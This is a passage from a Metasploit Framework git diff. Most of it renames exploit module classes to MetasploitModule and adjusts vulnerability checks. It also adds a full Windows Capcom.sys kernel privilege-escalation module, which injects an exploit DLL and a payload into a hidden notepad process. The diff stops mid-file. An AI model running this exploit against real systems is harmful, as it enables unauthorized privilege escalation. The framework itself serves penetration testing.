Msf::Exploit::Remote::HttpClient @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote "\r\n\r\n" + "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n" - if datastore['InvalidSearchRequest'] == true + if datastore['InvalidSearchRequest'] xml = rand_text(rand(1024) + 32) end diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index de5f2e17b7..fff453f738 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/tftp' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index c5f04e6144..035aa5a85f 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/imail_delete.rb b/modules/exploits/windows/imap/imail_delete.rb index de067d9294..77a2823617 100644 --- a/modules/exploits/windows/imap/imail_delete.rb +++ b/modules/exploits/windows/imap/imail_delete.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/ipswitch_search.rb b/modules/exploits/windows/imap/ipswitch_search.rb index f658c6baa2..403dadfdbf 100644 --- a/modules/exploits/windows/imap/ipswitch_search.rb +++ b/modules/exploits/windows/imap/ipswitch_search.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb index 25987fbebe..776059c1bb 100644 --- a/modules/exploits/windows/imap/mailenable_login.rb +++ b/modules/exploits/windows/imap/mailenable_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/imap/mailenable_status.rb b/modules/exploits/windows/imap/mailenable_status.rb index d67fcf75c2..9e984b8f5e 100644 --- a/modules/exploits/windows/imap/mailenable_status.rb +++ b/modules/exploits/windows/imap/mailenable_status.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb index e13027054f..f10818b868 100644 --- a/modules/exploits/windows/imap/mailenable_w3c_select.rb +++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mdaemon_cram_md5.rb b/modules/exploits/windows/imap/mdaemon_cram_md5.rb index 866fcb3116..f15372a824 100644 --- a/modules/exploits/windows/imap/mdaemon_cram_md5.rb +++ b/modules/exploits/windows/imap/mdaemon_cram_md5.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb index 36ee2fac67..b983440500 100644 --- a/modules/exploits/windows/imap/mdaemon_fetch.rb +++ b/modules/exploits/windows/imap/mdaemon_fetch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index b24383dc90..f4e2546d73 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/mercur_login.rb b/modules/exploits/windows/imap/mercur_login.rb index f243370a84..7b580ad5dc 100644 --- a/modules/exploits/windows/imap/mercur_login.rb +++ b/modules/exploits/windows/imap/mercur_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb index 45327f91f3..621ae49de5 100644 --- a/modules/exploits/windows/imap/mercury_login.rb +++ b/modules/exploits/windows/imap/mercury_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb index 4ef6097ca4..8f6bacec40 100644 --- a/modules/exploits/windows/imap/mercury_rename.rb +++ b/modules/exploits/windows/imap/mercury_rename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb index bae7c3804c..a254c10cd2 100644 --- a/modules/exploits/windows/imap/novell_netmail_append.rb +++ b/modules/exploits/windows/imap/novell_netmail_append.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index eb566db50b..562013f2e4 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb index afe668e445..3f0cdc6c27 100644 --- a/modules/exploits/windows/imap/novell_netmail_status.rb +++ b/modules/exploits/windows/imap/novell_netmail_status.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb index 340c2ab009..1b317ddc1f 100644 --- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb +++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb index 650164ac9e..de284832e7 100644 --- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb +++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb index b9b5f4021a..884a2cb940 100644 --- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb +++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb index bcd830845f..ffa2f21cb0 100644 --- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb +++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb index fb6abff5d1..0c03aed308 100644 --- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb +++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index d870242fdc..0963967016 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] } diff --git a/modules/exploits/windows/ldap/imail_thc.rb b/modules/exploits/windows/ldap/imail_thc.rb index 50a1a5f24d..abbb005e30 100644 --- a/modules/exploits/windows/ldap/imail_thc.rb +++ b/modules/exploits/windows/ldap/imail_thc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb index a193758e93..1e98ff170f 100644 --- a/modules/exploits/windows/ldap/pgp_keyserver7.rb +++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb index 4a7b594cd8..18ef7a6cb2 100644 --- a/modules/exploits/windows/license/calicclnt_getconfig.rb +++ b/modules/exploits/windows/license/calicclnt_getconfig.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb index 21dc18ab0e..0638dbae5b 100644 --- a/modules/exploits/windows/license/calicserv_getconfig.rb +++ b/modules/exploits/windows/license/calicserv_getconfig.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb index 28092a2253..1f7d26fd43 100644 --- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb +++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/license/sentinel_lm7_udp.rb b/modules/exploits/windows/license/sentinel_lm7_udp.rb index 0395c7089c..8fd7714f4b 100644 --- a/modules/exploits/windows/license/sentinel_lm7_udp.rb +++ b/modules/exploits/windows/license/sentinel_lm7_udp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index a51426ae9c..cdbd812b7c 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index e8982c1720..681a42f712 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 444f67a6de..5e90adb7e0 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/applocker_bypass.rb b/modules/exploits/windows/local/applocker_bypass.rb index c48aa4d1ad..60d7f07787 100644 --- a/modules/exploits/windows/local/applocker_bypass.rb +++ b/modules/exploits/windows/local/applocker_bypass.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 00c7b0b0bb..2f724f8609 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Post::Windows::Priv diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index e0e5d015cd..8f86edb891 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel @@ -145,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::None, 'Session is already elevated') end - unless check == Exploit::CheckCode::Vulnerable + if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 8cfb23418c..f5681dbe45 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 9bc5fa4028..3262061082 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index b560da405e..ae10158825 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::FileDropper diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb new file mode 100644 index 0000000000..16f2bf6963 --- /dev/null +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)', + 'Description' => %q{ + This module abuses the Capcom.sys kernel driver's function that allows for an + arbitrary function to be executed in the kernel from user land. This function + purposely disables SMEP prior to invoking a function given by the caller. + This has been tested on Windows 7, 8.1 and Windows 10 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'TheWack0lian', # Issue discovery + 'OJ Reeves' # exploit and msf module + ], + 'Arch' => [ ARCH_X86_64], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124'] + ], + 'DisclosureDate' => 'Jan 01 1999', # non-vuln exploit date + 'DefaultTarget' => 0 + })) + end + + def check + if sysinfo['OS'] !~ /windows (7|8|10)/i + return Exploit::CheckCode::Unknown + end + + if sysinfo['Architecture'] !~ /(wow|x)64/i + return Exploit::CheckCode::Safe + end + + # Validate that the driver has been loaded and that + # the version is the same as the one expected + client.sys.config.getdrivers.each do |d| + if d[:basename].downcase == 'capcom.sys' + expected_checksum = '73c98438ac64a68e88b7b0afd11ba140' + target_checksum = client.fs.file.md5(d[:filename]) + + if expected_checksum == Rex::Text.to_hex(target_checksum, '') + return Exploit::CheckCode::Appears + end + end + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session') + elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', + 'capcom_sys_exec.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 58729c5f29..46c9d307fb 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/powershell' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Post::Windows::Services diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 7278e5aee6..e5c9b15868 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb index 1a49cb233d..566b014ddf 100644 --- a/modules/exploits/windows/local/ipass_launch_app.rb +++ b/modules/exploits/windows/local/ipass_launch_app.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index 35e5fe61b1..1eeeb00c31 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 024fb55adc..c466e1d768 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel @@ -115,7 +115,9 @@ class Metasploit3 < Msf::Exploit::Local # Running on Windows XP versions that aren't listed in the supported list # results in a BSOD and so we should not let that happen. - return unless check == Exploit::CheckCode::Appears + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "Exploit not available on this system") + end base_addr = 0xffff handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index 8145b65278..351038ada4 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -8,7 +8,7 @@ require 'msf/core/post/windows/reflective_dll_injection' require 'msf/core/exploit/exe' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index dc91903f4b..e41166d961 100644 --- a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -8,7 +8,7 @@ require 'rex' require 'zlib' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Local end if check == Exploit::CheckCode::Safe - print_error("#{winver} is not vulnerable.") + print_error("#{sysinfo["OS"]} is not vulnerable.") return end diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 662481af63..f058484caf 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking # Average because this module relies on memory corruption within the # kernel, this is inherently dangerous. Also if the payload casues diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 8729306125..c8a04ce87c 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' require 'msf/core/post/file' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb index 8d647f7a8d..f6f7fef93c 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Local def check os = sysinfo["OS"] unless (os =~ /windows/i) - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Appears if revision < 22348 end end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end - unless check == Exploit::CheckCode::Vulnerable + if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 7095e49f9e..0767257937 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::None, 'Session is already elevated') end - if check != Exploit::CheckCode::Vulnerable + if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system.") end diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb index de49e4a47d..dae1068507 100644 --- a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb +++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::Powershell diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index a4d5236714..62d6b47a1d 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::Powershell diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 2908ef555f..6e84605d84 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ 